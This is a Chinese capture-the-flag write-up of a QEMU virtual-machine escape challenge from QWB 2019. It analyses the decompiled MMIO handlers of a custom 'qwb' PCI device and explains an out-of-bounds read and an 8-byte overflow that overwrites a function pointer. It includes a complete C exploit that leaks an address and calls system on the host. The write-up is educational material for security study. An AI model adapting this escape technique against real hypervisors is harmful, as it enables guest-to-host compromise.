CTF QEMU 虚拟机逃逸之强网杯2019线上赛qwct

熟悉题目

启动脚本,是qwb设备

1
2
#!/bin/bash
./qemu-system-x86_64 -initrd ./rootfs.cpio -nographic -kernel ./vmlinuz-5.0.5-generic -L pc-bios/ -append "priority=low console=ttyS0" -device qwb -monitor /dev/null

一开始在16.04,18.04上尝试启动,结果安装的依赖库好像版本不太符合要求,最终在19.04上面安装依赖库即可启动了,看来强网杯还是紧跟最新的系统啊

tips:缺少库可以用 apt-cache search 去查找后安装

启动起来,先看pci设备

1
2
3
4
5
6
7
8
/ # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:8848
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

再看看qwb_class_init函数,可以确定是00:04.0 Class 00ff: 1234:8848

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __fastcall qwb_class_init(ObjectClass_0 *a1, void *data)
{
ObjectClass_0 *v2; // rbx
ObjectClass_0 *v3; // rax

v2 = object_class_dynamic_cast_assert(
a1,
(const char *)&implements_type,
"/home/ctflag/Desktop/QWB/online/QMCT/qemu_qwb/hw/misc/qwb.c",
497,
"qwb_class_init");
v3 = object_class_dynamic_cast_assert(
a1,
"pci-device",
"/home/ctflag/Desktop/QWB/online/QMCT/qemu_qwb/hw/misc/qwb.c",
498,
"qwb_class_init");
BYTE4(v3[2].object_cast_cache[0]) = 0x10;
HIWORD(v3[2].object_cast_cache[0]) = 0xFF;
v3[1].unparent = (ObjectUnparent *)pci_qwb_realize;
v3[1].properties = (GHashTable *)pci_qwb_uninit;
LOWORD(v3[2].object_cast_cache[0]) = 0x1234;
WORD1(v3[2].object_cast_cache[0]) = 0x8848u;
v2[1].type = (Type)((_QWORD)v2[1].type | 0x80LL);
}

漏洞代码分析

这个很多多线程的锁与解锁,所以还是比较难看的

qwb_mmio_read当addr为0-10的功能,其他情况继续看下面

1
2
3
4
5
6
7
8
9
10
11
12
13
0、初始化crypt_key,input_buf,output_buf(crypto.statu的最低的1,3位为1就什么也不做)
1、crypto.statu为0或2,就设置为3
2、crypto.statu为0或4,就设置为1
3、crypto.statu为3,就设置为4
4、crypto.statu为1,就设置为2
5、crypto.statu为2或4,设置crypto.encrypt_function为aes_encrypt_function
6、crypto.statu为2或4,设置crypto.decrypt_function为aes_decrypto_function
7、crypto.statu为2或4,设置crypto.encrypt_function为stream_encrypto_fucntion
8、crypto.statu为2或4,设置crypto.decrypt_function为stream_decrypto_fucntion
9、crypto.statu为2或4,statu设置为5,调用加密函数opaque->crypto.encrypt_function(opaque->crypto.input_buf,opaque->crypto.output_buf,opaque->crypto.crypt_key);
其实到qwb_encrypt_processing_thread将statu设置为6
10、crypto.statu为2或4,statu设置为7,调用解密函数opaque->crypto.decrypt_function(opaque->crypto.input_buf,opaque->crypto.output_buf,opaque->crypto.crypt_key);
其实到qwb_decrypt_processing_thread将statu设置为8

代码太长就只贴default的代码,下面把lock和unlock的代码去掉了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
default:
size_copy = size;
if ( addr <= 0x2FFF )
{
if ( addr <= 0x1FFF )
{
if ( addr <= 0xFFF )
{
LABEL_37:
return -1LL;
}
v20 = size_copy == 1;
goto LABEL_35;
}
v20 = size == 1;
}
else
{
v18 = strlen((const char *)opaque->crypto.output_buf);
v19 = size_copy == 1;
v20 = size_copy == 1;
if ( addr < v18 + 0x3000 && v19 )
{
if ( (opaque->crypto.statu - 6) & 0xFFFFFFFFFFFFFFFDLL )
{
result = -1LL;
}
else
{
v22 = *((_BYTE *)opaque + addr - 0x15C0);
result = v22;
}
return result;
}
}
if ( addr < strlen((const char *)opaque->crypto.input_buf) + 0x2000 && v20 )
{
if ( opaque->crypto.statu == 2 )
{
v23 = *((_BYTE *)opaque + addr - 0xDC0);
result = v23;
}
else
{
result = -1LL;
}
return result;
}
LABEL_35:
if ( addr >= strlen((const char *)opaque->crypto.crypt_key) + 0x1000 || !v20 )
goto LABEL_37;
if ( opaque->crypto.statu == 4 )
{
v24 = *((_BYTE *)opaque + addr - 0x5C0);
result = v24;
}
else
{
result = -1LL;
}
return result;

功能如下,根据addr的值进行选择:

1
2
3
0x1000-0x1fff: size为1,而且addr< strlen((const char *)opaque->crypto.crypt_key) + 0x1000,才能进入下一步,下一步要opaque->crypto.statu == 4,最终才读取*((_BYTE *)opaque + addr - 0x5C0)的值
0x2000-0x2fff: 条件基本跟上面相似,statu为2,读取*((_BYTE *)opaque + addr - 0xDC0);
0x3000以上: 条件基本跟上面相似,status为6或8,读取*((_BYTE *)opaque + addr - 0x15C0);

此外,还有重要的是,我们调用了下面的才能进入addr大于0x3000的分支

1
2
qwb_decrypt_processing_thread将status设置为8
qwb_encrypt_processing_thread将status设置为6

qwb_mmio_write的话如下,没什么漏洞,只是设置crypt_key和input_buf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall qwb_mmio_write(QwbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
char v4; // r12
QemuMutex_0 *v5; // r13
int v6; // edx

if ( size == 1 )
{
v4 = val;
if ( addr - 0x1000 <= 0x7FF )
{
v5 = &opaque->crypto_statu_mutex;
if ( opaque->crypto.statu == 3 )
{
*((_BYTE *)opaque + addr - 0x5C0) = v4;
}
v6 = 435;
}
else
{
if ( addr - 0x2000 > 0x7FF )
return;
v5 = &opaque->crypto_statu_mutex;
if ( opaque->crypto.statu == 1 )
{
*((_BYTE *)opaque + addr - 0xDC0) = v4;
}
v6 = 447;
}
}
}

那么漏洞是什么?
1、qwb_mmio_read在填满output_buf的时候,strlen会大于0x800,在读取output_buf的时候,可以越界读,读取到函数指针

2、还有就是在aes_encrypt_functionaes_decrypto_function中,以aes_encrypt_function为例,最后会各种异或操作一波,由于v7最多可以到0x800,最终将溢出output_buf,溢出8个字节,可以覆盖encrypt_function指针

1
*(_QWORD *)&output_buf[v7] = v25;

漏洞利用

保护措施,全开

1
2
3
4
5
6
7
8
[email protected]:~/qemu_escape/qwb-preliminary-2019-qwct# checksec ./qe*
[*] '/root/qemu_escape/qwb-preliminary-2019-qwct/qemu-system-x86_64'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

利用思路:
1、mmio_write不能直接填充output_buf,所以我们通过调用stream_encrypto_fucntion去填充疑惑后都是非0的,那么strlen计算就会超过0x800,那就可以越界读,读取到函数指针stream_encrypto_fucntion的地址,从而算出程序的基址,及system_plt地址

2、虽然aes_encrypt_function和aes_decrypto_function都有8字节溢出,但是我们需要控制output_buf的值,我们才能最终控制计算出来的值(即循环异或,第一次是异或0,第二次是异或上一次的结果),直接通过aes_encrypt_function利用有点困哪,我们难以控制加密后的值。但是我们先aes加密,再通过aes解密,那么我们就可以精准控制解密结果了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//下面是aes_decrypto_function的部分代码
v18 = 0LL;
v19 = 0;
v12 = 0;
for ( i = 0LL; ; v12 = *((_BYTE *)&v18 + (i & 7)) )
{
v14 = output_buf[i] ^ v12;
v15 = i++;
*((_BYTE *)&v18 + (v15 & 7)) = v14;
if ( v7 == i )
break;
}
v16 = v18;
}
else
{
v16 = 0LL;
}
*(_QWORD *)&output_buf[v7] = v16;
return 1;
}

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
// -*- coding: utf-8 -*-
// @Date : 2020-01-15
// @Author : giantbranch
// @Link : http://www.giantbranch.cn/
// @tags :

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x100000
#define MAP_MASK (MAP_SIZE - 1)


char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_base;

unsigned char* getMMIOBase(){

int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}

void mmio_write(uint64_t addr, uint64_t value){
*((uint8_t*)(mmio_base + addr)) = value;

}

uint32_t mmio_read(uint64_t addr){
return *((uint8_t*)(mmio_base + addr));
}

void init(){
mmio_read(0);
}

void set_status(uint32_t value){
if (value == 1)
{
mmio_read(2);
}else if (value == 2)
{
mmio_read(4);
}else if (value == 3)
{
mmio_read(1);
}else if (value == 4)
{
mmio_read(3);
}
}

void set_enc_aes(){
mmio_read(5);
}

void set_dec_aes(){
mmio_read(6);
}


void set_enc_stream(){
mmio_read(7);
}

void set_dec_stream(){
mmio_read(8);
}

void call_encrypt_function(){
mmio_read(9);
}

void call_decrypt_function(){
mmio_read(10);
}

uint8_t read_crypt_key(uint32_t offset){
return mmio_read(0x1000+offset);
}

uint8_t read_input_buf(uint32_t offset){
return mmio_read(0x2000+offset);
}

// b *$rebase(0x4D2907)
uint8_t read_output_buf(uint32_t offset){
return mmio_read(0x3000+offset);
}

void write_crypt_key(uint32_t offset, uint8_t value){
mmio_write(0x1000+offset,value);
}

void write_input_buf(uint32_t offset, uint8_t value){
mmio_write(0x2000+offset,value);
}

uint64_t leak_enc_fucntion(){
int i = 0;
uint64_t enc_fucntion_addr = 0, tmp;

for (i = 0; i < 6; i++){
// printf("leak 0x800+%d : %lx\n", i, read_output_buf(0x800+i));
tmp = read_output_buf(0x800+i);
tmp <<= (8*i);
enc_fucntion_addr |= tmp;
}
return enc_fucntion_addr;
}

int main(int argc, char const *argv[])
{
uint64_t system_plt_off = 0x2ADF80, system_plt = 0;
uint64_t stream_encrypto_off = 0x4D2A20, stream_encrypto_addr = 0, bin_addr = 0;
uint8_t enc_output_data[0x800];

int i = 0;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);


/***************************/
/*leak stream_encrypto_addr*/
/***************************/

//init status, crypt_key, input_buf, output_buf
init();

// fill input_buf with 0x60
set_status(1);
for (i = 0; i < 0x800; i++){
write_input_buf(i, 0x60);
}

// fill crypt_key
// b *$rebase(0x4D2090)
set_status(2);
// b *$rebase(0x4D1F80)
set_status(3);
for (i = 0; i < 0x800; i++){
write_crypt_key(i, 0x6);
}

// set encrypt_function with stream_encrypto_fucntion
// b *$rebase(0x4D21A0)
set_status(4);
set_enc_stream();
// call encrypt_function to fill output_buf
// b *$rebase(0x4D1D6D)
call_encrypt_function();
usleep(100);

//leak
stream_encrypto_addr = leak_enc_fucntion();
bin_addr = stream_encrypto_addr - stream_encrypto_off;
system_plt = bin_addr + system_plt_off;
printf("stream_encrypto_addr: %lx\n", stream_encrypto_addr);
printf("bin_addr: %lx\n", bin_addr);
printf("system_plt: %lx\n", system_plt);


/***************************/
/*overwrite enc pointer*/
/***************************/
// now state is 6 (qwb_encrypt_processing_thread set opaque->crypto.statu = 6)
// so we must call init to restart, otherwise we can't do nothing
//init status, crypt_key, input_buf, output_buf
init();
// fill input_buf with 0x6f
set_status(1);
for (i = 0; i < 0x800; i++){
write_input_buf(i, 0x60);
}

//通过对aes_dec最后代码的调试,发现最后结果为0x0,那么肯定是0x6060606060606060^0x6060606060606060了
//所以我们设置最后8字节为 system_plt ^ 0x6060606060606060,计算出来就是system_plt了
for (i = 0x7f8; i < 0x800; i++){
write_input_buf(i, ((uint8_t*)&system_plt)[i&7]^0x60);
}

// fill crypt_key
set_status(2);
set_status(3);
// size must 0x10 , and key not important
for (i = 0; i < 0x10; i++){
write_crypt_key(i, 0x6);
}

// set enc function
set_status(4);
set_enc_aes();

call_encrypt_function();
usleep(100);
//state now is 6

// read enc output_buf
for (i = 0; i < 0x800; i++){
enc_output_data[i] = read_output_buf(i);
}

/**** call aes_decrypto_function to overwrite enc pointer ****/
init();

// fill input_buf with enc_output_data
set_status(1);
for (i = 0; i < 0x800; i++){
write_input_buf(i, enc_output_data[i]);
}

// set the same key
set_status(2);
set_status(3);
// size must 0x10
for (i = 0; i < 0x10; i++){
write_crypt_key(i, 0x6);
}

// set dec function
set_status(4);
set_dec_aes();
//b *$rebase(0x4D2A30) aec_dec
//b *$rebase(0x4D2B1E) output
//b *$rebase(0x4D2B41) overwrite
call_decrypt_function();
usleep(100);

/***************************/
/*call enc pointer ———— just call system*/
/***************************/
init();
// set system cmd: just set input_buf
char *cmd = "gnome-calculator";
// fill input_buf with cmd
set_status(1);
for (i = 0; i < strlen(cmd); i++){
write_input_buf(i, cmd[i]);
}

//call enc
set_status(2);
call_encrypt_function();

return 0;
}

最终效果:

cat flag:

弹计算器:

参考

https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/qwb-preliminary-2019-qwct

自愿打赏专区